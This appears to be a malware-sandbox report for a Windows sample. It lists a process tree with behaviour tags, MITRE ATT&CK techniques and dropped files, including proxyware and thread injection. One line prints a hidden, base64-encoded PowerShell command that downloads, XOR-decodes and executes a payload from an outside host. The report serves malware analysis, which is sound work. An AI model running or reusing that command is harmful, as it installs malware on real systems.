C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=227 --mojo-platform-channel-handle=11368 --field-trial-handle=1812,i,3662636355795552784,13618025412104446688,131072 /prefetch:13⤵
-
-
-
C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"1⤵
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 5E9FFD71794D7DC7428CBB911F888698 C2⤵
- Loads dropped DLL
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 3FC1FED40C92057BCDD939970BC2B6912⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe-NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\pss5A8D.ps1" -propFile "C:\Users\Admin\AppData\Local\Temp\msi5A8A.txt" -scriptFile "C:\Users\Admin\AppData\Local\Temp\scr5A8B.ps1" -scriptArgsFile "C:\Users\Admin\AppData\Local\Temp\scr5A8C.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue."3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Users\Admin\AppData\Roaming\Ques Civi\AppLox\gpg.exe"C:\Users\Admin\AppData\Roaming\Ques Civi\AppLox\gpg.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
-
C:\Windows\SysWOW64\explorer.exeexplorer.exe3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle hidden -e JAB3AD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBjAGwAaQBlAG4AdAA7ACQAYgBzAD0AJAB3AC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvAGcAbwBvAGQAMgAtAGwAZQBkAC4AYwBvAG0ALwBkAGEAcgBrADQALgBiAHMANgA0ACIAKQA7AFsAQgB5AHQAZQBbAF0AXQAgACQAeAA9AFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAHMALgBSAGUAcABsAGEAYwBlACgAIgAhACIALAAiAGIAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAQAAiACwAIgBkACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACQAIgAsACIAZwAiACkALgBSAGUAcABsAGEAYwBlACgAIgAlACIALAAiAG0AIgApAC4AUgBlAHAAbABhAGMAZQAoACIAXgAiACwAIgBzACIAKQApADsAZgBvAHIAKAAkAGkAPQAwADsAJABpACAALQBsAHQAIAAkAHgALgBDAG8AdQBuAHQAOwAkAGkAKwArACkAewAkAHgAWwAkAGkAXQA9ACAAKAAkAHgAWwAkAGkAXQAgAC0AYgB4AG8AcgAgADEANgA3ACkAIAAtAGIAeABvAHIAIAAxADgAfQA7AGkAZQB4ACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJAB4ACkAKQA=4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Local\Temp\hXf6ieWLXUILwkd\svchost.exe"C:\Users\Admin\AppData\Local\Temp\hXf6ieWLXUILwkd\svchost.exe"4⤵
- Executes dropped EXE
-
-
-
-
C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"1⤵
-
C:\Users\Admin\mentalmentor\luminati\net_updater32.exe"C:/Users/Admin/mentalmentor/luminati/net_updater32.exe" --updater win_global_microtrading.mental_mentor1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
C:\ProgramData\BrightData\d1bab175a2a8d47f9b561f4c58dc046b93194db0\test_wpf.exeC:\ProgramData\BrightData\d1bab175a2a8d47f9b561f4c58dc046b93194db0\test_wpf.exe2⤵
- Executes dropped EXE
- Drops file in System32 directory
-
-
C:\ProgramData\BrightData\d1bab175a2a8d47f9b561f4c58dc046b93194db0\idle_report.exeC:\ProgramData\BrightData\d1bab175a2a8d47f9b561f4c58dc046b93194db0\idle_report.exe --id 55840 --screen2⤵
- Executes dropped EXE
- Drops file in System32 directory
-
-
C:\ProgramData\BrightData\d1bab175a2a8d47f9b561f4c58dc046b93194db0\brightdata.exeC:\ProgramData\BrightData\d1bab175a2a8d47f9b561f4c58dc046b93194db0\brightdata.exe --appid win_global_microtrading.mental_mentor2⤵
- Executes dropped EXE
- Suspicious use of SendNotifyMessage
-
-
C:\ProgramData\BrightData\d1bab175a2a8d47f9b561f4c58dc046b93194db0\idle_report.exeC:\ProgramData\BrightData\d1bab175a2a8d47f9b561f4c58dc046b93194db0\idle_report.exe --id 925272⤵
- Executes dropped EXE
- Drops file in System32 directory
-
-
C:\ProgramData\BrightData\d1bab175a2a8d47f9b561f4c58dc046b93194db0\idle_report.exeC:\ProgramData\BrightData\d1bab175a2a8d47f9b561f4c58dc046b93194db0\idle_report.exe --id 263532⤵
- Executes dropped EXE
- Drops file in System32 directory
-
-
C:\ProgramData\BrightData\d1bab175a2a8d47f9b561f4c58dc046b93194db0\idle_report.exeC:\ProgramData\BrightData\d1bab175a2a8d47f9b561f4c58dc046b93194db0\idle_report.exe --id 150452⤵
- Executes dropped EXE
- Drops file in System32 directory
-
-
C:\ProgramData\BrightData\d1bab175a2a8d47f9b561f4c58dc046b93194db0\idle_report.exeC:\ProgramData\BrightData\d1bab175a2a8d47f9b561f4c58dc046b93194db0\idle_report.exe --id 341672⤵
- Executes dropped EXE
- Drops file in System32 directory
-
-
C:\ProgramData\BrightData\d1bab175a2a8d47f9b561f4c58dc046b93194db0\idle_report.exeC:\ProgramData\BrightData\d1bab175a2a8d47f9b561f4c58dc046b93194db0\idle_report.exe --id 805662⤵
- Executes dropped EXE
- Drops file in System32 directory
-
-
C:\ProgramData\BrightData\d1bab175a2a8d47f9b561f4c58dc046b93194db0\idle_report.exeC:\ProgramData\BrightData\d1bab175a2a8d47f9b561f4c58dc046b93194db0\idle_report.exe --id 918322⤵
- Executes dropped EXE
- Drops file in System32 directory
-
-
C:\ProgramData\BrightData\d1bab175a2a8d47f9b561f4c58dc046b93194db0\idle_report.exeC:\ProgramData\BrightData\d1bab175a2a8d47f9b561f4c58dc046b93194db0\idle_report.exe --id 325352⤵
-
-
C:\Windows\system32\wbem\WmiApSrv.exeC:\Windows\system32\wbem\WmiApSrv.exe1⤵
-
C:\Program Files (x86)\360\Total Security\safemon\WscReg.exe"C:\Program Files (x86)\360\Total Security\safemon\WscReg.exe"1⤵
- Executes dropped EXE
- Modifies system certificate store
-
C:\Program Files (x86)\360\Total Security\SoftMgr\EaInstHelper64.exe"C:\Program Files (x86)\360\Total Security\SoftMgr\EaInstHelper64.exe" /Install_run2⤵
- Drops file in Drivers directory
- Sets service image path in registry
- Executes dropped EXE
- Drops file in Windows directory
-
-
C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe"C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe"1⤵
- Drops file in Drivers directory
- Sets service image path in registry
- Executes dropped EXE
- Adds Run key to start application
- Checks for any installed AV software in registry
- Checks whether UAC is enabled
- Enumerates connected drives
- Writes to the Master Boot Record (MBR)
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: LoadsDriver
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe/showtrayicon2⤵
- Sets service image path in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Enumerates connected drives
- Writes to the Master Boot Record (MBR)
- Checks system information in the registry
- Checks for VirtualBox DLLs, possible anti-VM trick
- Checks processor information in registry
- Modifies registry class
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\360\Total Security\safemon\QHWatchdog.exe"C:\Program Files (x86)\360\Total Security\safemon\QHWatchdog.exe" /install3⤵
- Executes dropped EXE
- Checks for any installed AV software in registry
-
-
C:\Program Files (x86)\360\Total Security\safemon\PopWndLog.exe"C:\Program Files (x86)\360\Total Security\safemon\PopWndLog.exe" /cleantip=13⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\360\Total Security\safemon\PopWndLog.exe"C:\Program Files (x86)\360\Total Security\safemon\PopWndLog.exe" /ExShowTrayIcon4⤵
- Executes dropped EXE
-
-
-
C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe"C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe" /ExShowTrayIcon3⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
-
-
C:\Windows\SysWOW64\regsvr32.exeC:\Windows\system32\regsvr32.exe /s "C:\Program Files (x86)\360\Total Security\safemon\safemon.dll"3⤵
-
-
C:\Program Files (x86)\360\Total Security\PatchUp.exe"C:\Program Files (x86)\360\Total Security\PatchUp.exe" /down_and_install=03⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- Suspicious use of SetWindowsHookEx
-
-
C:\Program Files (x86)\360\Total Security\QHSafeMain.exe"C:\Program Files (x86)\360\Total Security\QHSafeMain.exe"3⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\360\Total Security\PromoUtil.exe"C:\Program Files (x86)\360\Total Security\PromoUtil.exe"4⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\360\Total Security\Utils\cef\cefutil.exe/lang=en5⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\360\Total Security\Utils\cef\cefutil.exe"C:\Program Files (x86)\360\Total Security\Utils\cef\cefutil.exe" --type=renderer --disable-gpu-compositing --no-sandbox --lang=en-US --lang=en-US --log-file="C:\Program Files (x86)\360\Total Security\Utils\cef\debug.log" --log-severity=disable --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --content-image-texture-target=3553,3553,3553,3553,3553,3553,3553,3553,3553,3553,3553,3553,3553,3553 --video-image-texture-target=3553 --disable-accelerated-video-decode --disable-webrtc-hw-encoding --disable-gpu-compositing --channel="4052.0.1067419186\391766891" /prefetch:16⤵
- Executes dropped EXE
-
-
C:\Program Files (x86)\360\Total Security\Utils\cef\cefutil.exe"C:\Program Files (x86)\360\Total Security\Utils\cef\cefutil.exe" --type=renderer --disable-gpu-compositing --no-sandbox --lang=en-US --lang=en-US --log-file="C:\Program Files (x86)\360\Total Security\Utils\cef\debug.log" --log-severity=disable --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --content-image-texture-target=3553,3553,3553,3553,3553,3553,3553,3553,3553,3553,3553,3553,3553,3553 --video-image-texture-target=3553 --disable-accelerated-video-decode --disable-webrtc-hw-encoding --disable-gpu-compositing --channel="4052.1.557165016\934620554" /prefetch:16⤵
-
-
C:\Program Files (x86)\360\Total Security\Utils\cef\cefutil.exe"C:\Program Files (x86)\360\Total Security\Utils\cef\cefutil.exe" --type=renderer --disable-gpu-compositing --no-sandbox --lang=en-US --lang=en-US --log-file="C:\Program Files (x86)\360\Total Security\Utils\cef\debug.log" --log-severity=disable --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --content-image-texture-target=3553,3553,3553,3553,3553,3553,3553,3553,3553,3553,3553,3553,3553,3553 --video-image-texture-target=3553 --disable-accelerated-video-decode --disable-webrtc-hw-encoding --disable-gpu-compositing --channel="4052.2.1726254787\1391458189" /prefetch:16⤵
-
-
C:\Program Files (x86)\360\Total Security\Utils\cef\cefutil.exe"C:\Program Files (x86)\360\Total Security\Utils\cef\cefutil.exe" --type=utility --channel="4052.3.1657235189\219411758" --lang=en-US --no-sandbox --no-sandbox --lang=en-US --log-file="C:\Program Files (x86)\360\Total Security\Utils\cef\debug.log" --log-severity=disable /prefetch:86⤵
-
-
-
-
C:\Program Files (x86)\360\Total Security\softmgr\360InstantSetup.exe"C:\Program Files (x86)\360\Total Security\softmgr\360InstantSetup.exe" /tools_src=page4⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\360\Total Security\PromoUtil.exe/tp:10095⤵
- Executes dropped EXE
-
-
-
C:\Program Files (x86)\360\Total Security\Utils\360DrvMgr\DriverUpdater.exe"C:\Program Files (x86)\360\Total Security\Utils\360DrvMgr\DriverUpdater.exe" /silent_check4⤵
-
-
C:\Program Files (x86)\360\Total Security\360DeskAna.exe"C:\Program Files (x86)\360\Total Security\360DeskAna.exe" lspscan 32 \\.\pipe\lspscanetidldql4⤵
-
-
C:\Program Files (x86)\360\Total Security\360DeskAna.exe"C:\Program Files (x86)\360\Total Security\360DeskAna.exe" lspscan 32 \\.\pipe\lspscanetidldql4⤵
-
-
C:\Program Files (x86)\360\Total Security\360DeskAna64.exe"C:\Program Files (x86)\360\Total Security\360DeskAna64.exe" EnumProcDLL: "explorer.exe","","0"4⤵
-
-
C:\Program Files (x86)\360\Total Security\360DeskAna64.exe"C:\Program Files (x86)\360\Total Security\360DeskAna64.exe" EnumProcDLL: "iexplore.exe","","0"4⤵
-
-
C:\Program Files (x86)\360\Total Security\360DeskAna64.exe"C:\Program Files (x86)\360\Total Security\360DeskAna64.exe" EnumProcDLL: "explorer.exe","","0"4⤵
-
-
C:\Program Files (x86)\360\Total Security\360DeskAna64.exe"C:\Program Files (x86)\360\Total Security\360DeskAna64.exe" EnumProcDLL: "iexplore.exe","","0"4⤵
-
-
C:\Program Files (x86)\360\Total Security\360DeskAna64.exe"C:\Program Files (x86)\360\Total Security\360DeskAna64.exe" EnumProcDLL: "explorer.exe","","0"4⤵
-
-
C:\Program Files (x86)\360\Total Security\360DeskAna64.exe"C:\Program Files (x86)\360\Total Security\360DeskAna64.exe" EnumProcDLL: "iexplore.exe","","0"4⤵
-
-
C:\Program Files (x86)\360\Total Security\360DeskAna64.exe"C:\Program Files (x86)\360\Total Security\360DeskAna64.exe" EnumProcDLL: "explorer.exe","","0"4⤵
-
-
C:\Program Files (x86)\360\Total Security\360DeskAna64.exe"C:\Program Files (x86)\360\Total Security\360DeskAna64.exe" EnumProcDLL: "iexplore.exe","","0"4⤵
-
-
C:\Program Files (x86)\360\Total Security\360DeskAna64.exe"C:\Program Files (x86)\360\Total Security\360DeskAna64.exe" EnumProcDLL: "explorer.exe","","0"4⤵
-
-
C:\Program Files (x86)\360\Total Security\360DeskAna64.exe"C:\Program Files (x86)\360\Total Security\360DeskAna64.exe" EnumProcDLL: "iexplore.exe","","0"4⤵
-
-
-
-
C:\Program Files (x86)\360\Total Security\safemon\QHWatchdog.exe"C:\Program Files (x86)\360\Total Security\safemon\QHWatchdog.exe" /watch2⤵
- Executes dropped EXE
-
-
C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe"C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe"2⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s "C:\Program Files (x86)\360\Total Security\safemon\bdfltlib.dll"2⤵
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s "C:\Program Files (x86)\360\Total Security\safemon\scan.dll"2⤵
-
-
C:\Program Files (x86)\360\Total Security\360TsLiveUpd.exe"C:\Program Files (x86)\360\Total Security\360TsLiveUpd.exe" /delay:302⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
-
-
C:\Windows\SysWOW64\gpupdate.exeC:\Windows\system32\gpupdate.exe /force2⤵
-
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x00000000000004C0 0x00000000000004D01⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc1⤵
-
C:\Windows\System32\oobe\UserOOBEBroker.exeC:\Windows\System32\oobe\UserOOBEBroker.exe -Embedding1⤵
- Drops file in Windows directory
-
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exeC:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe -Embedding1⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\E01B02A2-6B74-429A-B8E9-9D1EFAA98F3E\dismhost.exeC:\Users\Admin\AppData\Local\Temp\E01B02A2-6B74-429A-B8E9-9D1EFAA98F3E\dismhost.exe {184E22D3-FA69-46C9-8529-443E8DE939F7}1⤵
- Drops file in Windows directory
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall1⤵
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
4Registry Run Keys / Startup Folder
4Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Change Default File Association
1Pre-OS Boot
1Bootkit
1Privilege Escalation
Boot or Logon Autostart Execution
4Registry Run Keys / Startup Folder
4Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Change Default File Association
1Defense Evasion
Impair Defenses
1Disable or Modify System Firewall
1Modify Registry
6Pre-OS Boot
1Bootkit
1Subvert Trust Controls
1Install Root Certificate
1Replay Monitor
Loading Replay Monitor...
Downloads
e59580c.rbs
~TA3A3A.cab
~TA7188.cab
~TA8BE8.cab
~TAEE68.cab
~TAFFB0.cab
360ssTS.dat
config.ini
7_48.png
acrobat_48.png
adguard-f5598671.png
t0163e5619e44cf48ef.jpg
t016586c9b278a3f881.png
t018e9bad3ef94288d4.png
t01ddc97398de0a67e4.jpg
t01e37764cd3690cab9.jpg
t01eb17dcb4de33f24a.jpg
t01fcc087310810811b.png
vlc_48.png
SystemCompact.xml
i18n.ini
FilePrivacy.tpi
instantsetup.dat
softdetect_241487468.dat
updatecfg.ini
netconn_s.dat
f_000002
New360_formal_13499309458_4168_1.log2
20240302_171340_once_07_service_stop_1.429.308.log
brd_sdk32_clr.dll
brightdata.exe
idle_report.exe
lum_sdk_install_id
lum_sdk_session_id:LUM
test_wpf.exe
_ruleset1
7b637b3c-dc97-470f-baf7-d2e80eda8c5f.tmp
settings.dat
f_00000a
f_00000b
f_000023
f_000066
f_000070
f_00008a
f_000091
f_0000ac
f_0000ae
f_0000b0
f_0000b1
f_0000b6
f_0000b7
f_0000b8
f_0000b9
f_0000ba
f_0000bb
f_0000bc
f_0000bd
f_0000be
f_0000bf
f_0000c0
f_0000c1
f_0000c2
f_0000c3
f_0000c4
f_0000c5
f_0000c6
f_0000c7
f_0000c8
f_0000d8
f_0000dc
f_0000df
f_0000e0
f_0000e9
f_0000f0
f_000101
f_000102
f_00013b
01bccb188607213b_0
02a13b938a2e3da2_0
05cadcd044049aa8_0
10e7f09a1dadfa79_0
10e7f09a1dadfa79_0
10f026273f93d461_0
114d5b25d954f7d2_0
1b67f92d45275d3d_0
1e0563e8938b14d6_0
24029b20a1b39be0_0
24029b20a1b39be0_0
266cd3c289706d67_0
2bd1dea4bf8fa83b_0
2e74b75ba238edee_0
2e9e2dd8f611ed83_0
3a4421f1a8b302be_0
420a27dea10167dd_0
44d721285f394df7_0
4c307b02b4dcc58c_0
4d4a7e37a6a14b55_0
563794ae89368f77_0
5706be6445ff71c7_0
5babd95f860a9c18_0
62b2e6e66ab1f106_0
62c2576a223695e8_0
64172c2f9eb05a33_0
6831f15168ef4516_0
6a2f0e259c3d65fa_0
6a2f0e259c3d65fa_0
6c08b3729b30ace8_0
6f57f6142acacf6b_0
738184b4bb16e32c_0
738184b4bb16e32c_0
73eb81bab398ba7d_0
74e120cdcd443d98_0
772ea7771436c223_0
781ff590c634ae37_0
7b786ea00bc52ff2_0
7b786ea00bc52ff2_0
7f7be6f0a78b94bd_0
80c6b91f1a22ed90_0
85272aed457c8955_0
86d509eae62844ee_0
908bf5ada97ca5dd_0
99c0fad21b0cce96_0
9d5557f0eda44b7f_0
9e04f19de8f5d184_0
9e04f19de8f5d184_0
a69c16a12cf7ae81_0
aa12ae9d59b9645d_0
b1ed184b54943913_0
b64b14a3450698da_0
b6d7318525efb2a2_0
b8fb7f17faf71513_0
b8fb7f17faf71513_0
bbda5ca085ecf644_0
bc0276656709e65b_0
bc0276656709e65b_0
bc29ae5837471bfd_0
bd6b414df7ecb6ef_0
c67c952be6b8bef0_0
c8d05f7bb9b5d749_0
c8d05f7bb9b5d749_0
cc3a2b9609b5664d_0
d064aec969aef277_0
d35fd65738ae453b_0
d3654e6a096970fc_0
da1eee7559588cfc_0
da1eee7559588cfc_0
dcc89e08d47058e2_0
e201db4afc7e2e56_0
eaf6f69df426fe6d_0
f063bf5bcddd519b_0
f94c7b6ebe43e43c_0
fe9ad089c2b8a06f_0
temp-index
the-real-index
the-real-index
the-real-index
the-real-index
the-real-index
the-real-index
the-real-index
the-real-index
the-real-index
messages.json
manifest.json
CURRENT
LOG.old
LOG.old
LOG.old
LOG.old
MANIFEST-000001
000003.log
LOG.old
LOG.old
LOG.old
LOG.old
LOG.old~RFe607bac.TMP
000003.log
LOG.old
LOG.old
LOG.old
LOG.old
LOG.old
LOG.old
LOG.old
LOG.old
LOG.old~RFe5b433f.TMP
58714b0e-dde9-48c7-8e23-e4da608abaf2.tmp
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Secure Preferences
the-real-index
the-real-index~RFe63136e.TMP
the-real-index
the-real-index~RFe635f6b.TMP
index.txt
index.txt
index.txt~RFe62c52f.TMP
MANIFEST-000001
013888a1cda32b90_0
08b99d499107ba17_0
0ae129c33e7a30bd_0
23469ac906fcc612_0
297ecea5cebb5dfe_0
2a0afd649b00527b_0
45c2f2fcb9072b47_0
653e56b4b6556a9e_0
67a473248953641b_0
6c038e3570d6abf1_0
6f8ac775dbbd7415_0
7b4fd8111178d5b1_0
b6c28cea6ed9dfc1_0
ba23d8ecda68de77_0
d0757ff92c7cde0a_0
f13a76bbf6c7f0b3_0
f1cdccba37924bda_0
f3ab1e1292e135fa_0
f76ccbbbd72a0391_0
fa813c9ad67834ac_0
fb1f328d70d91607_0
the-real-index
the-real-index
the-real-index
the-real-index
the-real-index
the-real-index
the-real-index~RFe584fb1.TMP
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Module Info Cache
Module Info Cache
Module Info Cache
Module Info Cache
Module Info Cache~RFe585a60.TMP
persisted_first_party_sets.json
setup.ini
360base.dll
2abfff15-3070-4ffe-8778-77cdc93aa210.tmp
360FDE5.tmp
360FDE6.tmp
360FDF7.tmp
360FDF8.tmp
360FE08.tmp
360FE19.tmp
360FE1A.tmp
360FE1B.tmp
360FE2B.tmp
360FE2C.tmp
360FE2D.tmp
360FE3E.tmp
360FE6E.tmp
360FE6F.tmp
360FE70.tmp
360FE81.tmp
360FE82.tmp
360FE92.tmp
360FEA3.tmp
360FEB3.tmp
360FEB4.tmp
360FEB5.tmp
360FEC6.tmp
360FED7.tmp
360FED8.tmp
360FEE8.tmp
360FEE9.tmp
360FEFA.tmp
360FEFB.tmp
360FF0C.tmp
360FF1C.tmp
360FF1D.tmp
360FF2E.tmp
360FF2F.tmp
360FF30.tmp
360FF40.tmp
360FF41.tmp
360FF42.tmp
360FF43.tmp
360FF54.tmp
360FF55.tmp
360FF56.tmp
360FF57.tmp
360FF58.tmp
360Base64.dll
360Central.exe
360Common.dll
360Conf.dll
360DeskAna.exe
360DeskAna64.exe
360NetBase.dll
360NetBase64.dll
360NetUL.dll
360P2SP.dll
360ShellPro.exe
360SkinView.exe
360TSCommon.dll
360TSCommon64.dll
360TsLiveUpd.exe
360Util.dll
360Util64.dll
360Verify.dll
360bps.dat
360net.dll
360rcbase.dat
360ss2map.ini
3GIdentify.dll
LibOui.dat
AntiAdwa.dll
AntiCe.dll
BrowseringProtection.exe
CombineExt.dll
CrashReport.dll
CrashReport64.dll
DailyNews.exe
DumpUper.ini
Dumpuper.exe
EfiMon.sys
EfiProc.dll
FastAnimation.dll
FeedBack.exe
FeedBack.ini
HomeRouterMgr.exe
I18N.dll
I18N64.dll
LargeFileFinder.exe
LeakFixHelper.dll
LeakFixHelper64.dll
LeakFixHelper64.exe
LiveUpd360.dll
LiveUpdate360.exe
MedalWall.exe
MenuEx.dll
MenuEx64.dll
MiniUI.dll
PDown.dll
PatchUp.exe
QHAccount.exe
QHFileSmasher.exe
QHSafeMain.exe
QHSafeScanner.exe
QHVer.dll
Repair.exe
Safelive.dll
Sites64.dll
ToolBox.dll
TraceClean.exe
Uninstall.exe
360AdvToolExecutor.exe
360AntiTrack.exe
360LibDrvmgr.dat
DownloadMgr.dll
DriverUpdater.exe
DrvInst64.exe
DrvmgrCore.dll
ScriptExecute.exe
360WifiProtect.dll
AntiTrack.dll
AntiTrack64.dll
CondrvFix.exe
360desktoplite_config.xml
DesktopPlus.exe
DesktopPlus64.exe
360ScreenCapture.exe
360searchlite.exe
search_file_type.json
bell.wav
DuplicateFile.exe
DuplicateFileCfg.xml
ModuleUpdate.exe
PopTip.exe
PowerSaver.exe
SimpleIME.exe
SysCleaner.dll
SysCleanerUI.exe
cef.pak
cef_100_percent.pak
cef_200_percent.pak
icudtl.dat
libcef.dll
en-US.pak
natives_blob.bin
snapshot_blob.bin
cefutil.exe
ver.ini
lang.lang
act.dat
backupsrv.dat
cacert.dat
cacert.pem
MiniUI.xml
defaultskin.ui
SysSweeper.ui.dat
SysSweeper.ui.dat
SysSweeper.ui.dat
SysSweeper.ui.dat
SysSweeper.ui.dat
360AV_theme.ui
360AntiTrack_theme.ui
360Central_theme.ui
360EvtMgr_theme.ui
360InternationSafe_theme.ui
360InternationTray_theme.ui
360UDisk_theme.ui
360hipsPopWnd_theme.ui
360leakfix_theme.ui
360liveupdate_theme.ui
360sandbox_theme.ui
360searchlite_theme.ui
360searchlite_theme.xml
360skinview_theme.ui
360wdui_theme.ui
pwlog_theme.ui
account_theme.ui
BrowserPro_theme.ui
DailyNews_theme.ui
DataShield_theme.ui
DesktopPlus_theme.ui
DeviceMgr_theme.ui
driverupdater_theme.ui
DuplicateFile_theme.ui
HomeRouterMgr_theme.ui
InstantSetup_theme.ui
MedalWall_theme.ui
pw_theme.ui
PromoUtil_theme.ui
SysCleaner_theme.ui
TraceClean_theme.ui
account_theme.xml
admgr_theme.xml
datashield_theme.xml
default_theme.ui
desktopplus_theme.xml
devicemgr_theme.xml
driverupdater_theme.xml
FeedBack_theme.ui
popwndtracker_theme.xml
promoutil_theme.xml
theme.xml
theme_DuplicateFile.xml
Tools_config.dat
Tools_theme.ui
smurf.ui
smurf.xml
AdvTools.xml
360AntiTrack.xml
360Central.xml
360NetRepair.xml
360Netmon.xml
360SafeWallet.xml
360Win10App.xml
360Zip.xml
AdBlocker.xml
BrowserProtection.xml
BusinessVersion.xml
CleanUp.xml
DailyNews.xml
DataShield.xml
DesktopAssistance.xml
DiskAnalyzer.xml
DriverUpdater.xml
DuplicateCleaner.xml
FileProtector.xml
FileSmasher.xml
FirstPrioritySupport.xml
FirstPriorityUpdate.xml
GameBooster.xml
InstantSetup.xml
MobileSecurity.xml
NoAds.xml
PatchUp.xml
PremiumTheme.xml
QuickSearch.xml
RansomwareDecryptor.xml
Sandbox.xml
ScheduledClean.xml
SpecialOffer.xml
SuperKiller.xml
SysCleaner.xml
SystemRegClean.xml
TraceClean.xml
send.xml
360FsFlt.sys
360FsFlt_old.sys
360Quarant.dll
360QuarantPlugin.dll
